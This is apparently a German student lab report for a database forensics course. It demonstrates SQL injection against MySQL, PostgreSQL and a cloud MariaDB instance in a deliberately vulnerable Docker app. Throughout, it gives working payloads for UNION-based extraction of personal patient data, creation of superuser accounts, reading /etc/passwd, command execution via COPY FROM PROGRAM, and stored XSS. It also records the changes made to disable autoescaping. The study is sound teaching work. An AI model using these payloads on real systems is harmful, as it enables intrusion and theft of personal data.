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1. Vorbereitung 

 

Über die WINGS-Plattform unter Module -> Datenbanken II: Forensik in DBS -> Literatur / 

Zusatzdokumente wurde das ZIP-Archiv mit der Bezeichnung “SQL Injection-Docker-VM von Herrn 

Häuser” heruntergeladen und entpackt. 

Im Unterordner Docker VM -> SQL-Injection Demo v.1.0 - Docker befindet sich die zu installierende 

Docker-Umgebung von Herrn Häuser. 

Für die Inbetriebnahme der Docker-Umgebung wurde das Programm Docker Desktop für Windows 

heruntergeladen und installiert. 

Nach der erfolgreichen Installation von Docker Desktop muss das Programm gestartet werden.  

Zum Start des Programms sind keine Docker-Umgebungen installiert. 

 

 

 

 

 

 

 

 



1. Vorbereitung 
 

2 
 

Um Daten in der PostgreSQL-Datenbank verändern zu können, muss die Datei app.py angepasst 
werden. Dafür wird in Zeile 10 folgender Zusatz eingefügt: isolation_level=“AUTOCOMMIT“ 
 
 

 
 
 
Für die Installation muss die Eingabeaufforderung in Windows gestartet und in den zuvor 
heruntergeladenen Ordner der Häuser Docker-Umgebung navigiert werden. 
 

 
 
Für den Import der Häuser-VM wird folgendes Kommando verwendet: 
 
docker-compose -f docker-compose.yaml up 

 

 

 
Nachdem die Umgebung installiert wurde, kann über das Programm Docker Desktop der Container 
angesprochen werden: 
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Die Docker VM von Herrn Häuser wurde erfolgreich importiert und kann nun über den localhost bzw. 
über die IP-Adresse 127.0.0.1 gestartet werden. Der Zugriff auf das Tool Adminer kann entweder über 
eine Verlinkung im Programm Docker Desktop erfolgen oder über die IP-Adresse 127.0.0.1:8080. 
 
Es folgt die Startseite sowie die Ansicht der HTML-Datei vorlesungen.html. 
 
Startseite der Docker-VM von Herrn Häuser: 
 

 
 
Unterseite Vorlesungen der Docker-VM von Herrn Häuser: 
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2. SQL-Injektion anhand der Bachelor-Thesis 

 

Die fünf zu betrachtenden Ziele von SQL-Injection Angriffen sind:  

- Ausspähen von Daten 

- Verändern von Daten 

- Änderungen am Datenbanksystem 

- Zugriff auf das Filesystem 

- Einschleusen von Code 

 

Die folgenden SQL-Injections aus dem Buch und der Hense-BT werden in der Docker Umgebung von 

Herrn Häuser für die beiden DBMS MySQL und PostgreSQL ausgeführt. 

Die Ausgangslage und den Einfallspunkt bildet somit die Startseite der Docker-Umgebung von Hr. 

Häuser. Nach dem Start des Containers wird die Tabelle Vorlesungen angezeigt und im Suchfeld kann 

nach dem Vorlesungsnamen gesucht werden: 

 

 

In folgendem Screenshot kann man erkennen, dass die Suche nach dem Vorlesungsnamen 

funktioniert. Führt man die Suche bspw. nach dem Namen „Bio“ aus, so wird die Vorlesung mit dem 

Titel „Bioethik“ angezeigt.  

 

 

Dies demonstriert nur die Funktionsfähigkeit der Umgebung. Das Suchfeld dient als Einfallstor für die 

nachfolgenden SQLi. 
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In-Band-SQLI 

OR-Anweisung – MYSQL 

Mithilfe eines einfachen Anführungszeichens (‘) und einer OR-Anweisung, lässt sich die eigentliche 

SQL-Abfrage überspringen und es werden beliebige Abfragen und Ergebnisse ausgeführt und 

angezeigt. 

Die Suche nach dem Namen „Bio“ wird um die Klausel ‘ OR ‘1 wie folgt erweitert: 

 

Befehl: Bio‘ OR ‘1 

 

Durch das Anführungszeichen ‘ wird die Abfrage nach dem Namen „Bio“ übersprungen. Mit dem Zusatz 

‘ OR ‘1 werden nun alle Einträge der Tabelle Vorlesungen angezeigt. Der folgende Screenshot zeigt die 

Injection über das Suchfeld, also über einen POST-Request: 

 

 

Wie erwähnt werden nun alle Einträge der Tabelle Vorlesungen angezeigt. 

Dies lässt sich ebenfalls für einen GET-Request durchführen. Hier wird der Angriff über die URL 

ausgeführt: 

 

http://127.0.0.1/vorlesungen?search=Bio' OR '1 
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Es werden die gleichen Ergebnisse angezeigt. 

Da bereits jetzt bekannt ist, dass die Tabelle Vorlesungen 4 Spalten enthält, lassen sich mittels dieser 

Kenntnis weitere SQL-Abfragen hinzufügen. 

Zum Testen der Syntax sollen die vier Spalten ausgegeben werden: 

 

Befehl: Bio' AND 0 UNION SELECT 1,2,3,4; -- 
 

 

Die Syntax funktioniert und die Datenbank ist anfällig, um weitere SQL-Befehle zu injizieren. 

Der folgende UNION-Based Befehl listet das gesamte Tabellenschema mit den zugehörigen Spalten 

auf. (siehe S.28 Hense) 

 

Befehl: Bio' AND 0 UNION (SELECT table_schema, table_name,column_name,0 FROM 

information_schema.columns WHERE table_schema =(SELECT database()) ); -- ' 
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2.1 Auslesen der Datenbank-Version 

Anhand der gewonnenen Informationen lässt sich nun auch die eingesetzte Datenbankversion 

auslesen. 

2.1.1 MySQL 

Bei MySQL kann die Version der Datenbank mit dem Zusatz @@version ausgelesen werden. 

Die Abfrage nach der Version wird mit einer UNION SELECT Abfrage kombiniert. Der Befehl lautet: 

Befehl: ' union select @@version; --  

 

 

 

Die Ausführung führt zunächst zu einer Fehlermeldung, da die Tabelle wie bereits herausgefunden 

vier Spalten besitzt. Die Fehlermeldung lautet: 

 

 

 

Der Befehl muss somit auf die Ausgabe von vier Spalten erweitert werden: 

Befehl: ' union select 1,2,3,@@version; -- 

Nach erneuter Ausführung wird nun in der letzten Zeile die Datenbankversion angezeigt: 

 

 

Die eingesetzte Version der MySQL-Umgebung ist 8.0.27. 
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2.1.2 PostgreSQL 

Bei PostgreSQL kann die Datenbankversion direkt ausgelesen werden. PostgreSQL bietet hierfür den 

Befehl version() an. 

Die Versionsnummer kann somit wie folgt ausgelesen werden: 

Befehl: '; SELECT VERSION(); -- 

 

 

 
PostgreSQL wird in der Version 12.9 eingesetzt. 
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2.2 Ausspähen von Daten 

Ein erster Angriffspunkt bildet die Informationsbeschaffung. Hierbei wird versucht die in der 

Datenbank gespeicherten Daten auszulesen, um so Informationen über den Aufbau und die 

Beschaffenheit dieser zu gewinnen. Aufbauend auf diesen Erkenntnissen können die weiteren Schritte 

geplant werden. 

 

2.2.1 MySQL 

Zu Beginn sollen alle Datenbanken aufgelistet werden. 

Unter MySQL sind diese Daten in der Datenbank information_schema gespeichert. Diese Datenbank 

wird nun mit folgendem Befehl abgefragt: 

Befehl: ' AND 0 UNION SELECT schema_name,0,0,0 FROM information_schema.schemata; 

 

 

 

Im Weiteren werden die Daten der Datenbank „kemper“ ausgespäht. Hier sollen zunächst alle 

Tabellennamen angezeigt werden: 

Befehl: ' AND 0 UNION SELECT 1,2,table_schema,table_name FROM information_schema.tables 

WHERE table_schema = 'kemper'; 
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Nachdem die Tabellennamen bekannt sind, können nun die Spaltennamen der Tabellen ausgelesen 

werden: 

 

Befehl: ' AND 0 UNION SELECT 1,table_schema, table_name, column_name FROM  

information_schema.columns WHERE table_schema = 'kemper'; 
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Zuletzt können die gespeicherten Inhalte der Tabellen ausgelesen werden: 

 

Befehl: ' AND 0 UNION SELECT PersNr,Name,Fachgebiet,Boss FROM kemper.Assistenten; 

 

 

 

2.2.2 PostgreSQL 

 

Auflisten aller vorhandenen Datenbanken: 

Befehl: '; SELECT datname FROM pg_database; -- 

 

 

 

Tabellennamen anzeigen: 

Befehl: '; SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN  pg_catalog.pg_namespace n ON 

n.oid = c.relnamespace WHERE c.relkind  IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') 

AND  pg_catalog.pg_table_is_visible(c.oid); -- 
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Spaltennamen anzeigen: 

Befehl: ';  SELECT relname, A.attname FROM pg_class C, pg_namespace N,  pg_attribute A, pg_type T 

WHERE (C.relkind='r') AND  (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND  (A.atttypid=T.oid) 

AND (A.attnum>0) AND (NOT A.attisdropped) AND  (N.nspname ILIKE 'public'); -- 
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Inhalte auslesen: 

Befehl: '; SELECT PersNr,Name,Fachgebiet,Boss FROM assistenten; -- 
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2.3 Veränderung von Daten 

 

Nachdem die Daten eingesehen werden konnten, kann nun versucht werden bestehende Daten zu 

verändern bzw. neue Daten hinzuzufügen.  

2.3.1 MySQL 

Es soll eine neue Datenbank mit dem Namen „test“ erstellt werden: 

Befehl: '; CREATE DATABASE test;  

 

 

 

 
Die neue Datenbank „test“ wurde erfolgreich erstellt.  

Innerhalb der neuen Datenbank kann nun eine neue Tabelle „user“ und die Spalte „id“ vom Typ Integer 

erstellt werden: 

Befehl: '; CREATE TABLE `test`.`user` (`id` INT(10))ENGINE= MYISAM; --  

 

Befehl: ' UNION SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM 

information_schema.columns WHERE TABLE_SCHEMA = "test" AND TABLE_NAME = "user"; -- 
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Die Datenbank „test“ mit der Tabelle „user“ und der Spalte „id“ wurde erfolgreich erstellt. 

 

Nachdem die Struktur erstellt wurde, können nun Daten der Tabelle hinzugefügt werden: 

 

Befehl: '; INSERT INTO `test`.`user` (`id`)VALUES (123); -- 

 

 

 

Befehl: asd' UNION SELECT id,2,3,4 FROM test.user; -- 
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2.3.2 PostgreSQL 

Da bei PostgreSQL Befehle nicht in Multiqueryanweisungen ausgeführt werden, können 

Datenbanken nicht direkt angelegt werden. 

Eine neue Datenbank kann wie folgt angelegt werden: 

Befehl: '; DROP TABLE IF EXISTS hilfstabelle; CREATE TABLE hilfstabelle(t text); COPY hilfstabelle 

FROM PROGRAM 'psql -c "CREATE DATABASE testdb"'; SELECT * FROM hilfstabelle; --' 

 

Die bestehenden Datenbanken können dann wie folgt angezeigt werden: 

Befehl: '; SELECT datname FROM pg_database; -- 

 

 

Die Datenbank „testdb“ wurde erfolgreich erstellt. 

 

Über die gleiche Vorgehensweise können Datenbanken auch gelöscht werden: 

Befehl: '; DROP TABLE IF EXISTS hilfstabelle; CREATE TABLE hilfstabelle(t text); COPY hilfstabelle 

FROM PROGRAM 'psql -c "DROP DATABASE testdb"'; SELECT * FROM hilfstabelle; --' 

 

 

Die Datenbank „testdb“ konnte so wieder gelöscht werden. 
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2.4 Datenbank-Server verändern 

 

Ein weiteres Angriffsziel stellt die Veränderung des Datenbank-Servers dar. Hierbei versucht ein 

Angreifer sich mithilfe von SQL-Befehlen umfangreiche Berechtigungen auf dem Server selbst zu 

verschaffen. Zunächst kann ermittelt werden in welchem Benutzerkontext man angemeldet ist. Im 

Weiteren kann versucht werden die bestehende Benutzerverwaltung so zu verändern, dass ein neuer 

Benutzer mit Superuser-Rechten erstellt wird. Ferner können auch bestehende Benutzerkonten 

verändert oder gar gelöscht werden. 

 

2.4.1 MySQL 

Um den Datenbank-Server verändern zu können, müssen entsprechende Berechtigungen vorhanden 

sein. Mit dem folgenden Befehl kann zunächst der aktuelle Benutzer ermittelt werden: 

Befehl: asd ' UNION SELECT 1, 2, 3, CURRENT_USER(); -- 

 

 

Der aktuelle Benutzer ist „root@%“ 

 

Neuen Benutzer mit Superuser-Berechtigungen anlegen: 

 

Befehl: '; CREATE USER 'hacker'@'%' IDENTIFIED BY 'hacked'; GRANT ALL PRIVILEGES ON *.* TO 

'hacker'@'%'; FLUSH PRIVILEGES; -- 

 

 

 

 

Befehl: asd' UNION SELECT user, 2, 3, 4 FROM mysql.user; --  
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Der Benutzer „hacker“ wurde erfolgreich erstellt. 

 

Benutzer löschen: 

Befehl: '; DELETE FROM `mysql`.`user` WHERE `User`='hacker'; FLUSH PRIVILEGES; -- 

 

 

 

 

Der Benutzer „hacker“ wurde wieder erfolgreich gelöscht. 
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2.4.2 PostgreSQL 

Unter PostgreSQL kann ein neuer Benutzer mit Superuser-Rechten wie folgt erstellt werden: 

Befehl: CREATE ROLE hacker WITH SUPERUSER; ALTER ROLE hacker WITH LOGIN; ALTER ROLE hacker 

WITH PASSWORD 'p'; -- 

 

 

 

Die existierenden Datenbankbenutzer können wie folgt ermittelt werden: 

Befehl: '; SELECT usename, usesuper FROM pg_user; -- 

 

 

Der Benutzer „hacker“ konnte erfolgreich erstellt werden. 

 

Benutzer können ebenfalls wieder gelöscht werden: 

Befehl: '; DROP USER hacker; --  

 

 

Der Benutzer konnte so wieder entfernt werden. 
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2.5 Zugriff auf das Filesystem 

 

Gelingt es einem Angreifer Zugriff auf das Filesystem zu erlangen, können darüber weitere 

Angriffsszenarien ausgeführt werden. Insbesondere der Dateizugriff, so wie das Einsehen und 

Kopieren von Daten sind hierbei von Bedeutung. 

 

2.5.1 MySQL 

Unter MySQL kann die Datei mit folgendem Befehl geladen werden: 

Befehl: UNION SELECT LOAD_FILE('/etc/passwd'), 0,0,0;-- .' 

Die Ausführung gibt nur den Wert None zurück und führt somit zu folgender Ausgabe: 

 

 

Damit eine Rückgabe der Datei ausgegeben werden kann, muss die Datei docker-compose.yaml wie 

folgt angepasst werden: 

 

 

 

Nach einem Neustart des Containers und der erneuten Abfrage wird nun der Inhalt der Datei 

„passwd“ angezeigt: 

Befehl: asd ' UNION SELECT 1, 2, 3, LOAD_FILE('/etc/passwd');--  
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2.5.2 PostgreSQL 

Der Dateizugriff wird bei PostgreSQL über den COPY-Befehl realisiert. Als Datenquelle werden nur 

Dateien und Tabellen akzeptiert, weshalb hier mit Hilfstabellen gearbeitet werden muss.  

Ein Lesezugriff auf das Dateisystem ist wie folgt möglich: 

 

Befehl: '; select * from pg_ls_dir('.'); -- 

 

 

 

 

Um bspw. die Datei „passwd“ zu kopieren, wird zunächst eine Hilfstabelle benötigt und angelegt, in 

diese dann die Daten kopiert werden. Anschließend wird die Tabelle ausgegeben: 

 

Befehl: CREATE TABLE mydata(mydata text); COPY mydata FROM ‘/etc/passwd’; SELECT * FROM 

mydata; ; --.’ 
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Die Tabelle wurde erfolgreich erstellt und der Inhalt der Datei „passwd“ konnte so kopiert und 

eingesehen werden. 
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2.6 Einschleusen beliebigen Codes 

 

Mit dem Einschleusen von Programmcode kann der Angreifer gezielte Angriffe auf ein System oder 

Anwendung durchführen. Die Ausführung von unerwünschten Programmcode kann für ein System, 

Anwender oder eine DBMS schwerwiegende Folgen haben.  

Die Docker-Umgebung von Herrn Häuser ist so aufgebaut, dass die Anwendung und Datenbank 

voneinander getrennt funktionieren. Entsprechend ist das Einschleusen von Programmcode nicht 

weiter möglich. Zeichen wie Anführungszeichen („ „) oder eckige Klammer ([ ]) werden durch das flask-

Modul render_template() automatisch escaped. Um die Möglichkeit jedoch zu erhalten, muss eine 

Cross Site Scripting-Attacke durchgeführt werden – Hierfür wird die HTML-Datei vorlesungen.html um 

den Baustein {{ search|safe }} in Zeile 6 erweitert. 

Damit wird das „Autoescaping“ für diesen Abschnitt deaktiviert und die Suchfunktion in der 

Anwendung kann für das Einschleusen von Programmcode genutzt werden. 

 

 

 

2.6.1 MySQL 

 

 

 

Befehl:  '; INSERT INTO Vorlesungen VALUES (1,'<script>alert("Achtung, wir haben jetzt die 

Macht!")</script>',3, 4); -- 
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2.6.2 PostgreSQL 

 

Befehl: '; insert into vorlesungen values (1234, '<script>alert("Busted")</script>', 1, null); SELECT * 

FROM vorlesungen; -- 

 

Beim ersten Versuch einen Code einzuschleusen, um einen Alert zu provozieren, wird eine 

Fehlermeldung mitgeteilt: 

 

 

Der eingeschleuste Programmcode ist zu lang für die Spalte (maximal 30 Zeichen) – Entsprechend wird 

für das Beispiel der anzuzeigende Text auf : Hi! Gekürzt. 

 

Befehl: '; insert into vorlesungen values (1234, '<script>alert("Hi")</script>', 1, null); SELECT * FROM 

vorlesungen; -- 

 

 

Damit funktioniert das Einschleusen von Programmcode. 
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3. Auswahl lokaler und Cloud DBs 

 

Für die SQL-Injection an den eigenen Datenbanksystemen wurden für die lokale Installation MySQL 

und PostgreSQL gewählt, da diese bereits im Modul Datenbanken I für die Erstellung eines eigenen 

Datenbankmanagementsystems (Impfdatenbank) genutzt wurden. Als Cloud-Lösung war wie im 

vorherigen Modul ein DBMS mit Oracle angedacht, jedoch kam es zu Einschränkungen und 

Schwierigkeiten bei den Versuchen SQL-Injection Angriffe auf die Datenbank durchzuführen. 

 

3.1 Cloud - MariaDB 

 

Im Modul „Datenbanken I: Grundlage von DBS“ verwendeten wir für unsere Cloud DBS Instanz eine 

vorgefertigte Umgebung (Amazon Machine Image AWS) einer Oracle 18c XE Datenbank mit Oracle 

APEX 18C auf einem Linux CentOS 7 Betriebssystem. Dieses vorgefertigte System war für den 

damaligen Anwendungsfall ideal, allerdings ist diese Art von vorgefertigter Umgebung grundsätzlich 

dafür angedacht Applikationsentwicklung und Applikationsanalysen hiermit zu betreiben. Das 

Datenbanksystem von Oracle lässt sich im damals ausgewählten Typen zum überwiegenden Großteil 

über eine Web-Schnittstelle konfigurieren und verwalten. Das zugrundeliegende Betriebssystem war 

sehr eingeschränkt konfigurierbar und der direkte Zugriff auf Transaktions-, Archive- und weitere 

wichtige DBS und Systemlogs erfolgte über die Weboberfläche. Auf Kommandozeilenebene des Linux 

Betriebssystems waren nur marginale Konfigurationen und Zugriffe auf Stati des Systems oder des DBS 

möglich. 

Darüber hinaus war die damalig genutzte Oracle Umgebung in der Grundkonfiguration bereits gehärtet 

und auf einem hohen Sicherheitsniveau. Der Großteil der zu erlernenden SQL-Injection 

Vorgehensweisen wäre gescheitert, da die Grundkonfiguration im Kontext der Sicherheit bereits so 

ausgeprägt war, dass die Nutzung von präparierten SQL Statements und gespeicherter Prozeduren 

unterbunden wird. Ferner wird eine sog. „Allow-Liste“ zur Eingabe-Validierung genutzt, um zu 

verhindern auf unzulässige oder unerlaubte Parameter der DB zuzugreifen. Ebenfalls werden 

Nutzereingaben durch die Sicherheitskonfiguration der Web-Schnittstelle für das Management oder 

andere über Web oder API angebundenen Eingabemethoden durch einen Mechanismus gesichert, der 

unzulässige Nutzereingaben oder Statements überspringt, bzw. ignoriert (User Supplied Input 

Escaping). 

Da sich die vorhergehend ausgewählte Oracle Umgebung in der Cloud seitens der Sicherheitsstandards 

und der im Zugriff eingeschränkten Umgebung als suboptimal für das Modul „Datenbanken II: Forensik 

in DBS“ herausgestellt hat, haben wir uns für das Datenbanksystem MariaDB, in der Version 10.6.5, 

auf einem Ubuntu Linux LTS Server-Betriebssystem in der Version 20.04 entschieden. 
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3.2 Anpassung Häuser-Umgebung 

 

Da uns die Docker-Umgebung von Herrn Häuser sehr gefallen hat, haben wir uns dazu entschlossen, 

die Umgebung auf unsere DBMS der Impfdatenbank anzupassen. Dafür mussten einige Dateien neu 

erstellt/kopiert und angepasst werden. Um Änderungen in der PostgreSQL-Datenbank vornehmen zu 

können, wurde wie in Abschnitt 1 der Vorbereitung auf die Beispiele, ebenfalls in der Datei app.py der 

Zusatz isolation_level=“AUTOCOMMIT“ in Zeile 10 hinzugefügt. 

Es folgt eine Auflistung der Dateien für die Anpassung: 

- Anpassung docker-compose.yaml 

- Kopieren von vorlesung.html und Anpassung auf patienten.html 

- Kopieren von vorlesung.html und Anpassung auf impfungsort.html 

- Anpassung von template.html 

- Anpassung von SQL-Dateien für Erstellung von Tabellen und Einfügen von Daten 

- Anpassung von app.py 

- Anpassung von home.html  

Anschließend konnte die Umgebung für die SQL-Injection Beispiele auf den lokalen DBMS gestartet 

werden. 

 

Übersicht Datenbankschema in Docker-Umgebung 
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3.3 Installation und Konfiguration der Cloud Datenbankinstanz MariaDB in AWS 

 

Nachdem ein Cloudkonto für das Hosting der Cloud-Datenbankinstanz eingerichtet wurde und die 

initialen Einführungen und Vorbereitungen abgeschlossen waren, wurde über das „EC2“ (AWS Elastic 

Cloud Dashboard) und den „AMI“ (Amazon Machine Image) Katalog die gewünschte Plattform 

ausgewählt. In diesem Fall haben wir uns für ein Linux Ubuntu LTS Server-Betriebssystem in der Version 

20.04 entschieden. 

 

 
 

Nach der Auswahl der Plattform wurde die Konfiguration des Instanz-Typen vorgenommen. Der 

Instanz-Typ ist beim Cloud-Anbieter Amazon AWS die Performanz-Spezifikationen der Maschine. 
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Im Anschluss wurden die Instanz-Details des Cloud Datenbanksystems konfiguriert: 

 

 

 

Einer der letzten Schritte ist die Konfiguration des Festplattenspeichers, welcher der Instanz 

zugeordnet wird: 
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Nun wird noch eine Sicherheitsgruppe definiert, um im Anschluss eingehenden und ausgehenden 

Netzwerkverkehr auf bestimmten Ports zu ermöglichen: 

 

 

Zuletzt wird noch ein SSH-Key für den Zugriff auf die Cloud Instanz erstellt und heruntergeladen, damit 

der Zugriff und die Verwaltung des Betriebssystems möglich sind. Nun kann die Instanz gestartet 

werden. 
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Nach kurzer Zeit steht das Linux Ubuntu Betriebssystem zur Verfügung und kann konfiguriert werden, 

um so das Datenbanksystem aufzusetzen. Die erforderliche Konfiguration des Betriebssystems für 

dynamische DNS-Einstellungen, IP-Einstellungen, Hostnamen, etc. werden nicht weiter vertieft, da 

diese außerhalb des Spektrums dieser Arbeit liegen. 

Um das Cloud-Datenbanksystem analog zu den beiden lokalen Systemen MySQL, und PostgreSQL zu 

konfigurieren, wurde eine Docker Umgebung installiert damit eine angepasste Version der Docker 

Umgebung von Herrn Häuser ebenfalls in der Cloud lauffähig und über das Internet in vollem Umfang 

aufrufbar ist. 
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Hierzu wurde zunächst ein Update des Betriebssystems durchgeführt: 

 

 

 

 

Im Anschluss daran wurde die Docker Umgebung installiert: 

 

 

Darüber hinaus ist noch die docker-compose Bibliothek erforderlich: 
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Um Änderungen an der Datenbank nachvollziehbar zu machen und später forensische Analysen zu 

ermöglichen, ist es erforderlich die Protokollierung in MariaDB zu aktivieren, da dies in der 

Standardkonfiguration nicht aktiv ist. 

Für die Einrichtung der Protokollierung in MariaDB müssen einige vorbereitende Maßnahmen 

durchgeführt werden, da im Gegensatz zu der Konfiguration der beiden lokalen Datenbanken eine 

andere Vorgehensweise für die Protokollierung gewählt wurde. In der Docker Umgebung wurden zwei 

weitere Volumes für den MariaDB Container bereitgestellt. Diese beiden Volumes wurden auf das 

Host-Betriebssystem aus dem Container gemappt und stellen Konfigurationsdateien und die Protokoll 

Dateien, die im Container enthalten sind, bereit. Dies ermöglicht später eine Liveprotokollierung von 

Transaktionen, Änderungen an der DB, aufkommenden Fehlern, etc. 

 

Folgende Parameter wurden hierfür in der Datei docker-compose.yaml hinzugefügt: 

 

- mariadb-log:/var/log/mysql # Protokoll Volume im MariaDB Container 

- mariadb-conf:/etc/mysql/mariadb.conf.d/ # Konfig. Volume im MariaDB Container 

 

mariadb-log: 

mariadb-conf: 
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Da nun die Vorbereitungen abgeschlossen sind, wurde die angepasste Umgebung auf die Maschine 

transferiert und im Anschluss die angepasste Docker Umgebung gestartet und auf Funktionalität 

geprüft: 
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4. 5 SQL-Injektion Beispiele und forensische Auswertung 

 

Die Docker-Umgebung konnte auf die eigenen Bedürfnisse angepasst werden. Es wurde eine weitere 

Tabelle (Impfungsort) und eine HTML-Datei hinzugefügt.  

 

4.1 Auslesen der Datenbank-Version 

 

4.1.1 MySQL 

Unter MySQL lässt sich die Datenbank-Version mit folgendem Befehl auslesen: 

 

Befehl: ' union select @@version; -- 

 

Die Ausführung führt zu folgender Fehlermeldung, da die Ausgabe der Spaltenanzahl noch falsch ist: 

 

 

 

Durch Ausprobieren kann die Anzahl der Spalten ermittelt werden. Die Tabelle enthält 5 Spalten, bei 

korrekter Angabe wird die Datenbank-Version ausgegeben: 

 

 

 

Die eingesetzte Version ist: 8.0.27 
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4.1.2 PostgreSQL 

Unter PostgreSQL kann die Version wie folgt direkt ausgelesen werden: 

 

Befehl: '; SELECT VERSION(); -- 

 

 

 

4.1.3 MariaDB (Cloud) 

Das Auslesen der Datenbankversion in MariaDB wird wie folgt durchgeführt: 

 

Befehl: ' union select @@version; --  

 

Durch die Ausführung des oben genannten Befehls kommt es ebenfalls in MariaDB zu einem Fehler, 

da die Spaltenanzahl zunächst nicht korrekt ist: 

 

 

Entsprechende Anpassungen der Spaltenanzahl für MariaDB müssen im Injection Befehl 

vorgenommen werden: 

 

Befehl: ' union select 1,2,3, @@version; --  

 

 

Ermittelte MariaDB Version: 10.6.5 
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4.2 Ausspähen von Daten 

 

Für die Informationsbeschaffung soll versucht werden die Daten aus der Datenbank auszuspähen. 

Hiermit sollen Kenntnisse über den Aufbau der Datenbank, der Tabellen und der Spalten gewonnen 

werden, um so im Anschluss die Inhalte auslesen zu können. 

 

4.2.1 MySQL 

Zu Beginn werden alle Datenbanken aufgelistet: 

 

Befehl: ' AND 0 UNION SELECT schema_name,0,0,0 FROM information_schema.schemata; 

 

 

Hierdurch konnte der Name der Datenbank ermittelt werden: impfung 

 

Nun wird der Aufbau der Datenbank „impfung“ näher betrachtet/untersucht: 

 

Befehl: ' AND 0 UNION SELECT 1,2,table_schema,table_name FROM information_schema.tables 

WHERE table_schema = "impfung"; 
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So konnten alle Tabellennamen ermittelt werden. 

Die Namen der Spalten können anschließend wie folgt herausgefunden werden: 

Befehl: ' AND 0 UNION SELECT 1,table_schema, table_name, column_name FROM  

information_schema.columns WHERE table_schema = 'impfung'; 
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Nachdem der Aufbau bekannt ist, können die gespeicherten Inhalte abgefragt werden. 

Zuerst sollen alle Ärzte mit der internen ID, der Fachrichtung und dem Namen ausgegeben werden: 

 

Befehl: ' AND 0 UNION SELECT Arzt_ID, Fachrichtung, Nachname, Vorname FROM impfung.Aerzte; 

 

 

 

Für einen Angreifer könnten ebenso die Impfbestände von Bedeutung sein: 

Befehl: ' AND 0 UNION SELECT Impfstoffart, Impfstoffhersteller, Impfstoffname, Verfallsdatum FROM 

impfung.Impfbestand; 
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Eine dritte Abfrage soll die persönlichen Daten der Patienten anzeigen: 

Befehl: ' AND 0 UNION SELECT Nachname, Adresse, E_Mail, Versichertennummer FROM 

impfung.Patienten; 

 

 

 

4.2.2 PostgreSQL 

Auflistung aller vorhandenen Datenbanken: 

 

Befehl: '; SELECT datname FROM pg_database; -- 
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Anzeigen der Tabellennamen: 

 

Befehl: '; SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN  pg_catalog.pg_namespace n ON 

n.oid = c.relnamespace WHERE c.relkind  IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') 

AND  pg_catalog.pg_table_is_visible(c.oid); -- 

 

 

 

Anzeigen der Spaltennamen in den Tabellen: 

 

Befehl: ';  SELECT relname, A.attname FROM pg_class C, pg_namespace N,  pg_attribute A, pg_type T 

WHERE (C.relkind='r') AND  (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND  (A.atttypid=T.oid) 

AND (A.attnum>0) AND (NOT A.attisdropped) AND  (N.nspname ILIKE 'public'); -- 

 

 

 

 

Auslesen von Inhalten - Ärzte: 



4. 5 SQL-Injektion Beispiele und forensische Auswertung 
 

43 
 

 

Befehl: '; SELECT Arzt_ID, Fachrichtung, Nachname, Vorname FROM Aerzte; -- 

 

 

Auslesen von Inhalten – Impfbestand: 

 

Befehl: '; SELECT Impfstoffart, Impfstoffhersteller, Impfstoffname, Verfallsdatum FROM Impfbestand; 

-- 

 

Auslesen von Inhalten – Patientendaten: 

 

Befehl: '; SELECT Nachname, Adresse, E_Mail, Versichertennummer FROM Patienten; -- 
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4.2.3 MariaDB (Cloud) 

 

Die Auflistung der Datenbanken in MariaDB erfolgt mit folgendem Befehl: 

 

Befehl: ' AND 0 UNION SELECT schema_name,0,0,0 FROM information_schema.schemata; 

 

 

Der ermittelte Datenbankname in MariaDB, der für einen Angreifer relevant wäre, ist: impfung 
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Der Injection Befehl zur Ermittlung des Aufbaus der Datenbank in MariaDB lautet: 

 

Befehl: ' AND 0 UNION SELECT 1,2,table_schema,table_name FROM information_schema.tables 

WHERE table_schema = "impfung"; 

 

 

Alle Tabellennamen der Datenbank wurden ausgegeben. 
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Der erfordeliche Injection Befehl zur Ermittlung der Spaltennamen in MariaDB ist: 

 

Befehl: ' AND 0 UNION SELECT 1,table_schema, table_name, column_name FROM  

information_schema.columns WHERE table_schema = 'impfung'; 

 

 

Der Auszug zeigt, dass für sämtliche Tabellen der Spaltenname ermittelt warden konnte. 
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Die Injection Abfrage um Daten aus der Tabelle aus der Tabelle Ärzte mit interner ID, Fachrichtung 

und Namen in MariaDB zu ermitteln: 

 

Befehl: ' AND 0 UNION SELECT Arzt_ID, Fachrichtung, Nachname, Vorname FROM impfung.Aerzte; 

 

 

Das Ergebnis des Injection Befehls sind nunmehr ermittelte personenbezogene Daten aus der Tabelle 

Patienten. 
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Aufgeführt die Injection Abfrage zu Daten aus der Tabelle Impfbestände in MariaDB: 

 

Befehl: ' AND 0 UNION SELECT Impfstoffart, Impfstoffhersteller, Impfstoffname, Verfallsdatum FROM 

impfung.Impfbestand; 

 

 

 

Im Folgenden die Injection Abfrage zu personenbezogenen Daten der Tabelle Patienten aus der 

Datenbank Impfung in MariaDB: 

Befehl: ' AND 0 UNION SELECT Nachname, Adresse, E_Mail, Versichertennummer FROM 

impfung.Patienten; 
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4.3 Veränderung von Daten 

 

Nachdem die Daten eingesehen werden konnten, sollen nun bestehende Datensätze verändert 

werden. Dafür erstellen und befüllen wir einmal eine neue Datenbank. Außerdem zeigen wir einmal 

auf, wie neue Datensätze in eine bestehende Tabelle hinzugefügt werden. 

 

4.3.1 MySQL 

Im ersten Schritt soll eine weitere Datenbank erstellt angelegt werden: 

 

Befehl: '; CREATE DATABASE Vorstand; 

 

Befehl: ' AND 0 UNION SELECT schema_name,0,0,0 FROM information_schema.schemata; ' AND 0 

UNION SELECT schema_name,0,0,0 FROM information_schema.schemata; 

 

 

Die Datenbank „Vorstand“ konnte erfolgreich erstellt werden. 

 

Erstellen einer neuen Tabelle innerhalb der neu erstellten Datenbank: 

Befehl: '; CREATE TABLE `Vorstand`.`Chef`(`Name` VARCHAR(10)) ENGINE = MYISAM; -- 
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Die Tabelle „Chef“ mit der Spalte „Name“ wurde erfolgreich erstellt. 

Im letzten Schritt wird ein Datensatz der Tabelle hinzugefügt: 

Befehl: '; INSERT INTO `Vorstand`.`Chef` (`Name`)VALUES ('Haeuser'); -- 

 

Befehl: asd' UNION SELECT Name, 2, 3, 4 FROM Vorstand.Chef; -- 

 

 

